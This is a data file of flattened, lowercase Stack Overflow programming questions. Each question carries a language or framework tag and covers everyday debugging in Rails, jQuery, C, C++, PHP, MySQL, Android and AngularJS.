ruby on rails id not saving  i know this is going against ruby on rails conventions  but my id of this table doesn t need to auto-increment and i m setting it through the logic. however  it s not saving to the database. everything getting saved is saving as null for the id.   <pre><code>def self.up  create_table :probes  :id =&gt; false do |t|   t.string :id   t.string :name   t.integer :user_id   t.boolean :online   t.timestamps  end end  &lt;% form_for @probe do |f| %&gt; &lt;%= f.error_messages %&gt;  &lt;p&gt;   &lt;%= f.label  site name  %&gt;&lt;br /&gt;   &lt;%= f.text_field :name %&gt;  &lt;/p&gt;      &lt;p style= margin-left: 10% &gt;   &lt;%= f.label  probe key  %&gt;&lt;br /&gt;   &lt;%= f.text_field :id  :value =&gt; @token %&gt;  &lt;/p&gt;  &lt;p style= margin-left: 20% &gt;   &lt;%= link_to  back to list   probes_path %&gt;   &lt;%= f.submit  submit  :style =&gt;  margin-left: 75px;  %&gt;&lt;/p&gt;  &lt;% end %&gt; </code></pre>   is this even possible  or is there somewhere besides the new.html.erb file that i should be changing/checking,ruby-on-rails
reset a js object - jquery  i am using the dragslider (<a href= http://code.ovidiu.ch/dragdealer/  rel= nofollow >http://code.ovidiu.ch/dragdealer/</a>) js library to create a nice slider effect to input data into a very graphical form within a html5 site.      all works fine  - however once the slider has been used and the correct percentage stored in the form - i need to allow the user to then edit the result - which would mean passing the current figure from the input box into the js constructor  there is a method (setvalue) available to do this when constructing the slider - but as its already constructed i need a way to remove and re-enable the script with the new start figure.    at the moment the slider is initiated with this command -    <pre><code>    new dragdealer( bol-slider  animationcallback: function(x)         {      //animation commands             }         ) </code></pre>   is it possible to stop/remove the dragdealer object via js and re-initiate with a constructor containing the relevant start figure,jquery
second identical button doen not work  i would like an second add to cart button to my website page. i therefore copy &amp; pasted the following button code a second time on my website page (at a diffferent place on the page). however  the second button does not work (i.e. when clicking it nothing happens  but is should lead you to the cart page)   <pre><code>          &lt;button type= submit  name= add  id= addtocart  class= btn   style= background-color:#ffa500 &gt;               &lt;span&gt; {{  products.product.add_to_cart  | t }}&lt;/span&gt;             &lt;/button&gt; </code></pre>   could someone take a look at the above code to see if there would be an error  or would someone have a clue why the second button on the same page does not work     many thanks.,html
how to retrieve data from text file  i have data appended line by line in a text file for all confirmed transaction. i want to add search functionality  where the user enters their e-mail address and all related transaction details connected to that e-mail must be displayed.   <pre><code>bool writenextline = false; stringbuilder sb = new stringbuilder();  // read the file and display it line by line.               using (system.io.streamreader file = new system.io.streamreader( record.txt )) {     while ((line = file.readline()) != null)     {         if (line.contains(txt_searchbooking.text))         {             // this append the text and a newline into the stringbuilder buffer                    sb.appendline(line.tostring());              lbl_result.text += sb.tostring();         }     } } </code></pre>   but only the line containing email is displayed other details are not.    email is located on the last line of every transaction detail.   <pre><code>confirmmsg =         transaction # :   + employeeidtextbox.text + clientidtextbox.text + uniqueidtextbox.text +  \r\n      +   first name :   + clientfirstnametextbox.text +  \r\n      +   telephone number :   + clienttelephonenumbertextbox.text +  \r\n      +   investment :   + investmentamt.tostring( c2 ) +  \r\n      +   interest :   + (twelvemonthint * 100).tostring() +  %  +  \r\n      +   interest amount :   + (invesmentcalc(investmentamt  twelvemonthterm  twelvemonthint) - investmentamt).tostring( c2 ) +  \r\n      +   bonus :   + bonus.tostring( c2 ) +  \r\n      +   total returns :   + invesmentcalc(investmentamt  twelvemonthterm  twelvemonthint).tostring( c2 ) +  \r\n      +   e-mail :   + clientemailtextbox.text; </code></pre>   this is the data which is written into the text file.,c#
troubles with linked list - why aren t new elements being added to my list   my linked list print function keeps printing only one value and i can t figure out why. everything works as expected.    here is the struct that i store in linked list:   <pre><code>typedef struct list_element {     int value;     struct list_element *next; } list_element; </code></pre>   these are the functions to operate on list:   <pre><code>list_element createnewlinkedlist() {     list_element *myelement = (list_element *) malloc(sizeof(list_element));     myelement-&gt;value = 0;     myelement-&gt;next = null;     return *myelement; }  int insertnewelementatendwithvalue(list_element element  int value) {     list_element *myelement = &amp;element;     do {         if (myelement-&gt;next == null) {             list_element *new = (list_element *)malloc(sizeof(list_element));             new-&gt;value = value;             new-&gt;next = null;             myelement-&gt;next = new;         } else {             myelement = myelement-&gt;next;         }      } while (myelement-&gt;next != null); }  int printlistvalues(list_element firstnode) {     list_element *temp = &amp;firstnode;     int sentinel = 1;     while (sentinel) {         printf(  %d    temp-&gt;value);         if (temp-&gt;next != null) {             temp = temp-&gt;next;         } else {             sentinel = 0;         }     }     return 0; } </code></pre>   and here is the function that prints only first value  100:   <pre><code>void checklinkedlist() {     list_element list = createnewlinkedlist();     list.value = 100;     for (int i = 1; i &lt; 10; i++) {         int value = rand();         insertnewelementatendwithvalue(list  value);     }     printlistvalues(list); } </code></pre>   what s wrong with that,c
dividing the table for the result  i have a query that selects the names in the table.<br/> and i wanted to divide the result into 15 names per table data.<br/> is it possible that the next 15 names will display in the next table data  how    <pre><code> &lt; php     extract($_post);     if($_post[ filter1 ] ==  individual ){     if(isset($submitsearch)){         //if(!empty($searchquery)){         $sql    =  select * from contact_individual where name like  %$searchquery%  order by name ;         $query  = mysql_query($sql);         $count  = mysql_num_rows($query);              for($x=0;$x&lt;$count;$x++){                 $data   = mysql_fetch_array($query);  &gt; &lt;table class= tsearch &gt;     &lt;tr&gt;         &lt;td&gt;             &lt;form method= get  action= resultindividualprofile.php &gt;                 &lt;input type= text  name= text  hidden= hide  value= &lt; echo $data[ contactid_individual ]; &gt; /&gt;                 &lt;input type= submit  class= rep  name= this  value= &lt; echo $data[ name ]; &gt; /&gt;                 &lt;!--&lt;a href=  view=&lt; php //echo $data[ contactid_individual ];  &gt; &gt;&lt; php //echo $data[ name ];  &gt;&lt;/a&gt;--&gt;             &lt;/form&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   edit:    <img src= https://i.stack.imgur.com/d8vki.jpg  alt= enter image description here >,html
anchor point gotoxy in c++  my figure has a  σ  shape. the problem is that i have to scale it from left upper corner instead of the middle  where the diagonals of this symbol are connecting.     i would really appreciate if anyone would mind to share any tips how to change it s anchor point for  either enlarging or reducing it s side. i m thinking about this for almost week and can t get an idea what to change.   <pre><code>void figure(int &amp;x1  int &amp;x  int &amp;y1  int &amp;y  int &amp;side  char &amp;a  char &amp;key)  { system( cls );  x1 = x; y1 = y; gotoxy(x1  y1); for (int i = 1; i &lt;= side+ 10; i++) // upper figure edge {     cout &lt;&lt; a; } for (int i = 1; i &lt;= side; i++) // diagonal edge {     y1++;     x1 = x + (i &lt;= side / 2   i : (side - i + 1)) ;     gotoxy(x1  y1);     cout &lt;&lt; a;     x1 = x;  }  y1++; gotoxy(x1  y1); for (int i = 1; i &lt;= side + 10; i++) // bottom figure edge     cout &lt;&lt; a; key = getch(); }    void enlarge_reduce(char &amp;key  const int &amp;console_size_x  const int &amp;console_size_y  int &amp;side  int &amp;x  int &amp;y  int &amp;x1  int &amp;y1) //enlarging and reducing figure size  { switch (key) { case  + :           // figure enlarge      if (side &lt;= (console_size_y &lt;= console_size_x   console_size_y - 4 : console_size_x - 4))     {         side += 2;         --x;         --y;     }     break;  case  - :           // reduce figure     if (side &gt; 4)     {         side -= 2;         ++x; ++y;     }     break; } } </code></pre>,c++
tidying up after exit on error   i wonder if anyone could help me with a design/layout question. if you come to a point in your code where you want to stop execution and return an error how do you approach cleaning up  do you simply duplicate that code as i have done here  or is there another way    <pre><code>    if(filecontents == nil) {         nslog(@ readerror: %@   [fileerror localizeddescription]);         [pool drain];         return 1;     } else {         nslog(@ success  : %@   filecontents);     }      // clean up     [pool drain];     return 0; } // end </code></pre>   gary,objective-c
html doctype causing formatting issues  i have some html code.  here is a link to a fiddle with a snippet: <a href= http://jsfiddle.net/u32uu/2/  rel= nofollow >http://jsfiddle.net/u32uu/2/</a>    the problem does not show up in jsfiddle  but you can copy the snippet locally and see it in your browser.  with the doctype specification included  the issue is everything that has the  error  style tag is badly formatted.  there is space added above and below that row.  if i remove the doctype directive   then the problem goes away and the formatting looks good.      looking here: <a href= http://www.w3schools.com/tags/ref_html_dtd.asp  rel= nofollow >http://www.w3schools.com/tags/ref_html_dtd.asp</a>    i am not doing anything not supported by that doctype. i am also wondering if i even need the doctype specification.  it seems to work just fine without it  but i would like to know why the formatting issue is there.,html
python 3.5 pass object from one class to another  i am trying to figure out how to pass data from one class into another. my knowledge of python is very limited and the code i am using has been taken from examples on this site.     i am trying to pass the user name from  usernamepage  class into  welcomepage  class. can someone please show me how to achieve this. i will be adding more pages and i will need to pass data between the different pages    below is the full code - as mentioned above most of this code has come from other examples and i am using these examples to learn from.     <pre><code>import tkinter as tk from tkinter import * from tkinter import ttk from tkinter import messagebox import datetime  import re  def chk_string(mystring):     allowed_chars = re.compile( [a-za-z_-]+$ )     return allowed_chars.match(mystring)   def fnchklogin(page):      booallfieldscorrect = false;      myfname = page.fname.get()     myfname = myfname.replace(       )      mylname = page.lname.get()     mylname = mylname.replace(       )       if myfname ==   :         messagebox.showinfo( login ifo is missing    please type in your first name )      elif not chk_string(myfname):          messagebox.showinfo( first name error:    please only use leter or - or _ )     elif mylname ==   :         messagebox.showinfo( login info is missing    please type in your last name )     elif not chk_string(mylname):          messagebox.showinfo( last name error:    please only use leter or - or _ )       else:          booallfieldscorrect = true;          if  booallfieldscorrect == true:             app.geometry( 400x200 )              app.title( welcome screen )                      pagecontroller.show_frame(app  welcomepage )  def fnaddbutton(page name label width x y fnaction):     name = ttk.button (page  text=label width=int(width) command=fnaction)     name.place(x=int(x) y=int(y))       class pagecontroller(tk.tk):         def __init__(self  *args  **kwargs):          tk.tk.__init__(self  *args  **kwargs)         container = tk.frame(self)          container.pack(side= top  fill= both  expand= true )          container.grid_rowconfigure(0 weight=1)         container.grid_columnconfigure(0 weight=1)          self.frames={}          for f in (usernamepage welcomepage):             page_name = f.__name__             frame = f(container self)                    self.frames[page_name] = frame             frame.grid(row=0 column=0 sticky= nsew )          self.show_frame( usernamepage )      def show_frame(self page_name):         frame= self.frames[page_name]         frame.tkraise()    class usernamepage(tk.frame):       def __init__(self parent controller):          tk.frame.__init__(self parent)          self.controller = controller          lblfname = label(self text= first name    relief=groove width=12 anchor=e).place(x=50 y=50)         lbllname = label(self text= last name    relief=groove width=12 anchor=e).place(x=50 y=75)          self.fname = stringvar()         inputfname = entry(self textvariable=self.fname width=25).place(x=142 y=50)         self.lname = stringvar()         inputlname = entry(self textvariable=self.lname width=25).place(x=142 y=75)          cmdcontinue = ttk.button (self  text= continue  width=9 command=lambda:fnchklogin(self)).place(x=320 y=70)     class welcomepage(tk.frame):      def __init__(self parent controller):         tk.frame.__init__(self parent)         self.controller = controller          usernamepagedata = usernamepage(parent controller)         userfname = str(usernamepagedata.fname)         userlname = str(usernamepagedata.lname)          strwelcome =  welcome   +  userfname +     + userlname          lblwelcome = label(self text=strwelcome relief=flat width=50 anchor=w).place(x=25 y=25)    if __name__ ==  __main__ :     app = pagecontroller()     app.geometry( 400x200 )      app.title( user  page )     app.eval( tk::placewindow %s center  % app.winfo_pathname(app.winfo_id()))     app.mainloop() </code></pre>,python
attach an application into another in c#  how i can attach any other application to my application  ، my goal is that i want load and run a .exe application by my application starting. any one can help me,c#
i have an excel spreadsheet with 1 column with a name and another with a website link how do i import into html code easily   i have a spreadsheet with columns 1 column with store names and another column with a website link. what is the easiest way to import into my html code to look like <li>some text here,html
android multiple image in order as background resource of a button  i have a requirement in android. i have a button. and i want to render 5 images one after another as the background resource of the button with a time difference.    it is like when the rendering starts  the first image will be shown. after few miliseconds  the second image will be shown and will continue until the 5th one is shown.    i think it is achievable with handler. but quite not sure how. can someone please help,android
how to split a string by multiple separators and store in a list   is there a way to split a string by multiple delimiters     i have a string like: <code> (i (j (k l) (m n)) (o p)) </code>  and i want to store it into a list like this:    <pre><code>[ (    i    (    j    (    k    l    )    (    m    n    )    )    (    o    p    )    ) ] </code></pre>   how can i do that,python
why am i getting this error with my for loop  <pre><code>public boolean isnumber(string t) {     for (int i = 0  i&lt;= 9  i++) {         if t.equals(i) {                 return true;         }     }     return false; } </code></pre>   copypastad the wrong method originally -<em>_</em>-  i have this inside a class compiling with this error:     data_structures/expressionevaluator.java:40: illegal start of type for (int i = 0  i&lt; 10  i++) {,java
input text not being cleared out  i m trying to clear an input text after saving some data but it just doesn t work. this is what i ve tried so far (what it s in comments too):    thanks in advance for any help!    <strong>html:</strong>   <pre><code>&lt;div id= add-tag &gt;     &lt;h3&gt;add new tag&lt;/h3&gt;     &lt;form name= addtagform &gt;         &lt;input class= form-control  type= text  ng-model= newtag  ng-change= onchangetag() &gt;         &lt;button class= btn btn-primary  ng-click= addtag(newtag) &gt;add tag&lt;/button&gt;       &lt;/form&gt;              &lt;/div&gt;   </code></pre>   <strong>js:</strong>   <pre><code>//$scope.master = {};  // reset scope $scope.reset = function() {     $scope.newtag =   ;     //$scope.newtag = angular.copy($scope.master); };   $scope.addtag = function(tag) {      // save some data (this works fine)      // ....      // reset input field     $scope.reset();      }; </code></pre>   <strong>update:</strong>    my ng-controller was set to the parent template (i m using ui.router). just added it to the child template and it indeed worked.   <pre><code>&lt;div id= add-tag  ng-controller= formcontroller &gt;     &lt;h3&gt;add new tag&lt;/h3&gt;     &lt;form name= addtagform &gt;         &lt;input class= form-control  type= text  ng-model= newtag  ng-change= onchangetag() &gt;         &lt;button class= btn btn-primary  ng-click= addtag(newtag) &gt;add tag&lt;/button&gt;       &lt;/form&gt;              &lt;/div&gt;   </code></pre>,angularjs
how to have an inline image with a bullet list   i haven t found a way to have a bullet list (generated by a loop) side by side with an image    the code is this:              <pre><code>&lt;!-- posts by year --&gt; {% for post in site.posts %}   {% capture current_year %}{{ post.date | date:  %y  }}{% endcapture %}   {% if current_year != previous_year %}     {% unless forloop.first %}       &lt;/ul&gt;     {% endunless %}     &lt;h2&gt;{{ current_year }}&lt;/h2&gt;     &lt;ul&gt;     {% assign previous_year = current_year %}   {% endif %}   &lt;li&gt;&lt;a href= {{ post.url }} &gt;   {{ post.date | date:  %y-%m-%d  }} - {{ post.title }}   &lt;/a&gt;&lt;/li&gt;    {% if forloop.last %}     &lt;/ul&gt;   {% endif %} {% endfor %}   &lt;/div&gt;      &lt;img style= vertical-align:right;width:304px;height:228px;  src= /assets/archivesm.jpg &gt; &lt;/p&gt; </code></pre>   and the result looks like  <a href= https://i.stack.imgur.com/bb5wo.jpg  rel= nofollow noreferrer >this (desired outcome marked in the screenshot)</a>    thanks!,html
keep record even after deleting from application  i have two tables  category (pk) and foreign key table item(fk).    in item table have itemid  item name category i d....and this category i d is foreign key column with primary table...which is having category i d  category name.    and i have relationship between category table as parent and. item table as child table....category i d is the relationship between them. when i delete records based on itemid the records should be deleted from the application but maintained at backed level..as i do not want duplicate item...even i have deleted from application.    at application level i am doing these things with textboxes for and drop down list which should category names.,asp.net
checking the same values in two different columns of same table and then compare in sql <pre><code>cid       ctypeid  tid   check   asscid      ci 19149     6        2     0      null         0 253440    1        1     0      22297922     1 1361285   5        2     0      null         1 22297922  2        1     1      null         null 49821961  5        1     0      null         1 </code></pre>   i have to check whether <code>asscid</code> i.e <code>22297922</code> is in the cid column which is there actually. so i have to compare when the <code>asscid</code> is in the cid and then get the value of <code>ci</code> in case of <code>asscid</code> (where <code>cid</code> is <code>253440</code>)which is 1 in this case and then assign the same value 1 of <code>ci</code> to <code>cid</code> column <code>22297922</code> which is <code>null</code> in this case.,sql
how can i make 2 id attributes work on the same html element   i have a <code>&lt;input&gt;</code>-element that needs 2 different id attributes. is there a way to make it have 2 id attributes in one <code>&lt;input&gt;</code>  one id is for the css while the other id is for javascript.<br> how can i make this work  here s an example of the code i m trying to find a way to make it work.    <pre><code>&lt;input type= button  id= button1  id= reset  value= subscribe &gt;  </code></pre>   <code>id= button1 </code> is for the css  while <code>id= reset </code> i need for javascript since a click of that button will make a number above the button go up. but i need a way to clarify to it that <code>id= reset </code> is for the javascript  which is on the same page as the html is  and the css is on the same page as well  obviously using the style tags.,html
error in linking in c using c-free compiler  i m using <code>c-free</code> compiler for c.  this was my first program after installation.<br> i have also installed <code>mingw</code>.        here s my program.   <pre><code>#include&lt;stdio.h&gt;  int main() {     printf( hello world! ); } </code></pre>   i have this error and i don t know how to solve it.   <pre><code>[error]\mingw\lib\crt2.o:(.text+0x188):undefined refrence to `__dyn_tls_init_callback` [error]\mingw\lib\crt2.o:(.text+0x1c6):undefined refrence to `_setargv` [error]collect2:ld returned 1 exit status </code></pre>,c
missing image on the simulator iphone 5s but not on iphone 6 s plus  storyboard link: <a href= http://imgur.com/gee99ri  rel= nofollow >http://imgur.com/gee99ri</a>  i  just started coding  so maybe i am doing something wrong.    when i simulate the storyboard  i get this:    simulator iphone 6s plus: i see the background + the dumbbell     simulator iphone 5s:i see the background  but no dumbbell.    why can t i see the dumbbell on the iphone 5s  i tried different constrains also. didn t help.,ios
menu inflater exits fullscreen  i want to run my app in fullscreen and have a popup menu. triggering the menu also exits fullscreen by overlaying the navigation and action bar. i don t want this to happen and can t for the life of me figure it how to fix this. the menu otherwise works fine.    the menu xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;   &lt;menu xmlns:android= http://schemas.android.com/apk/res/android   xmlns:app= http://schemas.android.com/apk/res-auto &gt;   &lt;item android:title= data      android:id= @+id/data &gt;&lt;/item&gt;  &lt;item android:title= calibrate      android:id= @+id/calibrate &gt;&lt;/item&gt;  &lt;item android:title= help      android:id= @+id/help &gt;&lt;/item&gt;   &lt;/menu&gt; </code></pre>   the trigger   <pre><code>public void showpopup(view v) {   popupmenu popup = new popupmenu(this  v);   popup.inflate(r.menu.menu_main);   popup.show(); } </code></pre>,android
fatal error: uncaught error: unsupported operand types in  i am trying to get value from a table and build a pyramid but i got an error: <code>fatal error: uncaught error: unsupported operand types in</code>     <a href= https://i.stack.imgur.com/3egu2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/3egu2.png  alt= enter image description here ></a>    here is the table that i get value from   <pre><code>echo  &lt;table&gt; ;  foreach($keyidarr as $key=&gt;$value) {     echo  &lt;tr&gt;&lt;td colspan= 2 &gt; .$value. &lt;/td&gt;&lt;/tr&gt; ;     echo  &lt;tr&gt;&lt;td&gt;*&lt;/td&gt; ;     echo  &lt;td&gt;&lt;input id=  .$value. add  type= text  name= input[]  readonly /&gt;&lt;/td&gt;&lt;tr&gt; ;    }  echo  &lt;/table&gt; ; </code></pre>   here is my code to build pyramid:   <pre><code>$inputvaluearr = array(); $inputlengtharr = array();   foreach ($_post[ input ] as $value) {     array_push($inputvaluearr  $value);     array_push($inputlengtharr  strlen($value)); }  echo  &lt;table border= 1 &gt; ;  foreach ($inputlengtharr as $value) {     echo $value;     echo  &lt;tr&gt; ;     for ($i = 1; $i &lt;= $value; $i++) {         echo    ;         echo  &lt;td colspan= 4 &gt; .$i. &lt;/td&gt; ;     }      echo  &lt;/tr&gt; ;      echo  &lt;br /&gt; ;  }  echo  &lt;/table&gt; ; </code></pre>   <a href= https://i.stack.imgur.com/sieum.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sieum.png  alt= enter image description here ></a>    thank you for any help!,php
not selecting my roles  - rails 4.2  multi select box  i have an edit form  where you can select multiple roles for a particular group. it does as its suppose to in terms of populating the select box and saving what you select to the database.    but when it comes to editing  while it populates correctly  it doesn t select the already selected roles. the relationship between groups and roles is as follows:   <pre><code>has_many :roles  :through =&gt; :groups_roles </code></pre>   in the groups model.    my select box is set up as such  for both edit and new views:   <pre><code>&lt;div class= form-group &gt;     &lt;label class= col-sm-4 control-label &gt;select roles for this group&lt;/label&gt;     &lt;div class= col-sm-6 &gt;       &lt;%= f.select(:roles  options_for_select(xaaron::role.pluck(:role_name)          :selected =&gt; @group.roles)  {}  class:  form-control   multiple: true) %&gt;     &lt;/div&gt;   &lt;/div&gt; </code></pre>   <strong>so whats the deal </strong> on new  like i said  it populates  it lets you select  it saves what you selected. on edit  it populates  lets you select and saves to the database  <strong>but</strong> doesn t select already chosen roles for this group.,ruby-on-rails
apple crash reporting service delay  i have gone through apple crash reporting service documentation which states that  there may be upto a 3 day delay between when you first distribute your app and when the crash reports are available in xcode  . but nothing specific was mentioned about the delay involved in collecting the logs from users and displaying in the crashes organizer of xcode. there was no information available online.what is the delay between the time app crashed in users device and report appearing in xcode crash organizer     assumption : user allowed to upload the crash report.    note : apple doc also says  crash reports are created daily. does that mean reports are available with a max delay of one day,ios
how to implement ng-show right way   can someone check my code and tell me how to make it in right way <br> it works but i don t think this is the right<br> if i would have 20 sub menus i would need to create 20 functions which is definitely wrong<br> thank you in advance   <pre><code>&lt;ul class= menu-top &gt;               &lt;li ng-click= menu2show() &gt;drinks&lt;/li&gt;               &lt;li ng-click= menu1show() &gt;food&lt;/li&gt;               &lt;li ng-click= menu3show() &gt;desserts&lt;/li&gt; &lt;/ul&gt; &lt;div id= menu-content  ng-controller= menuctrl &gt;                  &lt;div class= menu1   ng-show= show1  &gt;                     &lt;div  class= item  ng-repeat= item in menu.menu1 &gt;                      &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= menu2  ng-show= show2  &gt;                     &lt;div  class= item  ng-repeat= item in menu.menu2 &gt;                      &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= menu3  ng-show= show3  &gt;                     &lt;div  class= item  ng-repeat= item in menu.menu3 &gt;                          &lt;/ul&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;   var app = angular.module( app   []); app.controller( menuctrl   function($scope) {      $scope.menu = {         menu1:[                 { name : item1    price : 1    desc : aaa }                  { name : item2    price : 2    desc : bbb }                  { name : item3    price : 3    desc : ccc }               ]          menu2:[                 { name : item8    price : 6    desc : zzz }                  { name : item9    price : 4    desc : xxx }                  { name : item10    price : 2    desc : sss }              ]          menu3:[             { name : item15    price : 3    desc : mmmm }              { name : item16    price : 1    desc : nnn }              { name : item17    price : 5    desc : bbb }          ]};       $scope.show1 = true;        $scope.menu1show = function(){         $scope.show1 = true;         $scope.show2 = false;         $scope.show3 = false;       }     $scope.menu2show = function(){         $scope.show1 = false;         $scope.show2 = true ;         $scope.show3 = false;     }       $scope.menu3show = function(){         $scope.show1 = false ;         $scope.show2 = false ;         $scope.show3 = true ;     } }); </code></pre>,angularjs
javascript code to prompt a message when cookies are disabled in ie 11  hi did anyone help me to get javascript code to prompt a message when cookies are disabled in ie 11  i tried by using  navigator.cookieenabled  property but it was not working in ie11 returning true for every time. searched all the posts but didn t got the exact solution which works.    helping will be appreciated.  thanks in advance.,javascript
cannot convert  double  to  double (*)[5]  for argument  1  to  void one_set_avrg(double (*)[5])   the question wants me to create a two-dimensional array and there will be several tasks which required me to do it in different function. like count the average for each row  calculate the average for whole array  sort the array in ascending order  and output the largest value that i have keyed in.    the code works if i don t separate it into different functions  but the questions asked me to separate it into different function and i ended up with these errors:   <ol> <li>cannot convert  double  to  double (<em>)[5]  for argument  1  to  void one_set_avrg(double (</em>)[5])  </li> <li>cannot convert  double  to  double (<em>)[5]  for argument  1  to  void  avrg_allset(double (</em>)[5])  </li> <li>cannot convert  double  to  double (<em>)[5]  for argument  1  to  double largest_value(double (</em>)[5]) </li> </ol>   i would appreciate it very much if you could tell me what s wrong with my code and how could i solve it.    here is the error part:          <pre><code>    one_set_avrg(a[3][5]);     avrg_allset(a[3][5]);     cout &lt;&lt;endl;      cout &lt;&lt; largest number is: \n &lt;&lt;largest_value(a[3][5])&lt;&lt;endl;       return 0;  }  </code></pre>,c++
checking out of bounds for attributedsubstringfromrange  i have simple method like this.    <pre><code>nsattributedstring *astr = [self.attributedtext attributedsubstringfromrange:range]; </code></pre>   but sometimes  it show error  out of bounds . how can i check beforehand  do i only check .length   is there alternative way,ios
prime factorization of integer in c++  i am trying to write a code which gives the prime factorization of given integer. here is my code:   <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt;  using namespace std;  void primefactor(int a);  int main() {     int n;     cout&lt;&lt;  enter the value of n  &lt;&lt;endl;     cin&gt;&gt;n;     primefactor(n);     return 0; }  void primefactor(int a){     while(a%2==0){         cout&lt;&lt; 2* ;         a/=2;      for(int i=3; i&lt;=sqrt(a); i+=2){         while(a%i==0){             cout&lt;&lt;i&lt;&lt; * ;             a=a/i;         }     }     if(a&gt;2){         cout&lt;&lt;a&lt;&lt;endl;     }  } </code></pre>   however when i run the output at the last factor i am getting an additional * in factorization. how can i remove this,c++
invalid conversion from ‘const char*’ to ‘char*  i don t have much experience in c++. i have a function <code>std::string exec(char* cmd)</code>. it runs for <code>cout&lt;&lt;exec( hello! )</code>  but it doesn t run for std::string: invalid conversion from ‘const char*’ to ‘char*. i was wondering how i can fix it.   <pre><code>std::string s= hello ; char * c = s.c_str(); exec(c); </code></pre>,c++
properly use session to store a variable android studio  hello im very new to coding in android studio so here is the scenario i have this user that logs in then i get his username i need to store the user s username because i needed to use it on the other pages in my project so what i did was do something like this   <pre><code> public user getlogusr(string uname  string pass) {     sqlitedatabase db = this.getreadabledatabase();      string select =  select uid  username  email from   + table_usrs +   where   + key_name +   =   and   + key_pass +   =   ;      cursor cursor = db.rawquery(select  new string[]{uname  pass});      user usr = new user();     if(cursor != null &amp;&amp; cursor.movetofirst())     {         cursor.movetofirst();         usr.setusrid(integer.parseint(cursor.getstring(0)));         usr.setuname(cursor.getstring(1));         usr.seteaddress(cursor.getstring(2));          preferencemanager pm = preferencemanager.getdefaultsharedprefs(this);         sharedpreferences.editor edit = pm.edit();         edit.putstring( usrnm   cursor.getstring(1));         edit.commit();          cursor.close();     }     else     {         usr = null;     }      return usr; } </code></pre>   this is the function inside my dbhandler the problem is on the <code>.getdefaultsharedprefs</code>part and the <code>.edit()</code> saying cannot resolve method the stuff im only trying to do is put the username into a session any help  thanks so much in advancve!,android
adding numbers to first column in a table  i am trying and adding numbers to a table in the first col   <pre><code>var newcol =  &lt;td&gt;&lt;/td&gt; ; $( #target tbody tr ).append(newcol); $( #target tbody tr ).each(function (idx) {     $(this).children( :eq(0) ).html(idx); }); </code></pre>   but i am not sure why isn t the code working  <a href= http://jsfiddle.net/9rhh2/1/  rel= nofollow >http://jsfiddle.net/9rhh2/1/</a>,jquery
how in mysql do i get latest records by date with distinct column(s) and common key   i have a data set that resembles this:   <pre><code>id   product_id   size       color     price   created_date ------------------------------------------------------------------ 1    24           small      black     9.99    2012-06-21 00:00:00 2    24           small      red       9.99    2012-06-23 00:00:00 3    24           medium     black     11.99   2012-06-24 00:00:00 4    24           medium     red       11.99   2012-06-24 00:00:00 5    24           large      black     12.99   2012-06-25 00:00:00 6    24           large      red       12.99   2012-06-26 00:00:00 7    24           small      black     8.99    2012-06-27 00:00:00 8    24           medium     black     10.99   2012-06-29 00:00:00 9    24           large      red       13.99   2012-06-30 00:00:00 10   24           medium     red       10.99   2012-07-01 00:00:00 </code></pre>   my intended result set would be:   <pre><code>id   product_id   size       color     price   created_date ------------------------------------------------------------------ 2    24           small      red       9.99    2012-06-23 00:00:00 5    24           large      black     12.99   2012-06-25 00:00:00 7    24           small      black     8.99    2012-06-27 00:00:00 8    24           medium     black     10.99   2012-06-29 00:00:00 9    24           large      red       13.99   2012-06-30 00:00:00 10   24           medium     red       10.99   2012-07-01 00:00:00 </code></pre>   so in other words  select all from table where product_id = 24 and size/color are unique and only return the latest entry by created_date.    i m not sure what the best way to tackle this is. subselect via temp table  inner join  some sort of unique/distinct combo  i m probably making this more difficult than it has to be.,mysql
use comma separated list from one table as clause in query for another table  i have an <code>events</code> table with a field called <code>breaks</code>. this is populated with data in a comma separated format  i.e. <code>1 2 3</code> or <code>1</code> or <code>1 4 5</code> - the same format that mysql s <code>in</code> command uses.    i d then like to run a query - on the <code>slots</code> table - to return all rows apart from those specified in <code>events.breaks</code>.    the query  theoretically  should be something like this:   <pre><code>select     `slots`.`id` as id      right(`slots`.`time`  8) as `time` from     `slots`  `event` where     `slots`.`id` not in (`event`.`breaks`) </code></pre>   but that doesn t appear to work - if <code>event.breaks</code> is <code>4 5 7</code>  the only row from the <code>slots</code> table that doesn t return is <code>4</code>!    sqlfiddle here: <a href= http://sqlfiddle.com/#!2/913fe/1/0  rel= nofollow >http://sqlfiddle.com/#!2/913fe/1/0</a>,mysql
how can i get the latest record of my tabel  how can i get the latest date out of a tabel. perhaps it is better if i show you what i mean.     this is my current tabel output   <pre><code>transactionid          title           date 23132                  locaton         2013-05-17 10:02:04 23131                  novuel          2013-05-16 16:26:45 23130                  novuel          2013-05-16 11:41:21 23129                  locaton         2013-05-15 15:02:47 23128                  mama rosa       2013-05-15 14:42:44 23127                  locaton         2013-05-14 18:21:32 23126                  rohan           2013-05-14 12:46:56 </code></pre>   and this is the desired output:    <pre><code>transactionid          title           date 23132                  locaton         2013-05-17 10:02:04 23131                  novuel          2013-05-16 16:26:45 23128                  mama rosa       2013-05-15 14:42:44 23126                  rohan           2013-05-14 12:46:56 </code></pre>   as you can se i only want the latest date from each title out of mysql.    and this is how i tried so far to get the desired output:   <pre><code>    ( select t.transactionid         ct.title         max(t.transactiontime) from exp_channel_titles as ct left join transactions as t on (ct.entry_id = t.restaurant_id) where t.transactiontime in     (select max(t.transactiontime)      from transactions as t) group by ct.entry_id order by t.transactiontime desc ); </code></pre>,mysql
how do we split the date in the path   we have the path and it contains like <code> /folder1/folder2/folder3/folder4/2015-11-25/ </code>. sometimes the folder is increasing recursively. how do we split the date alone in java  we have to pass the path in the sql without using the date.    required path is :<code>/folder1/folder2/folder3/folder4/</code>,java
